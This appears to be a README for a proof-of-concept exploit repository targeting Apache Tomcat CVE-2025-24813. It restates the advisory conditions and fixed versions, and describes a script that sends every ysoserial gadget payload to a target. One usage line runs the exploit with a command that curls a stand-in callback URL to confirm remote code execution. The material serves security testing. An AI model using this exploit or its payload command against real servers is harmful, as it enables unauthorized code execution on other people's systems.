Associated Vulnerability

Title:Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT (CVE-2025-24813)
Description:Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads - attacker knowledge of the names of security sensitive files being uploaded - the security sensitive files also being uploaded via partial PUT If all of the following were true, a malicious user was able to perform remote code execution: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - application was using Tomcat's file based session persistence with the default storage location - application included a library that may be leveraged in a deserialization attack Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.

This is Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng's script from the recent [writeup](https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md) modified to accept a command, generate all ysoserial gadget payloads and send them to your target.

Shared in the interest of ethical security testing.

Usage example:
```
python3 exploit.py --command 'curl http://yourcollaburl' --target 'http://192.168.10.0.1:8080' --proxy '127.0.0.1:8080'
```

`poc.mp4` shows the script in action, generating the payloads and sending them to the target, and in the right-hand pane we see the interact listener is being called.
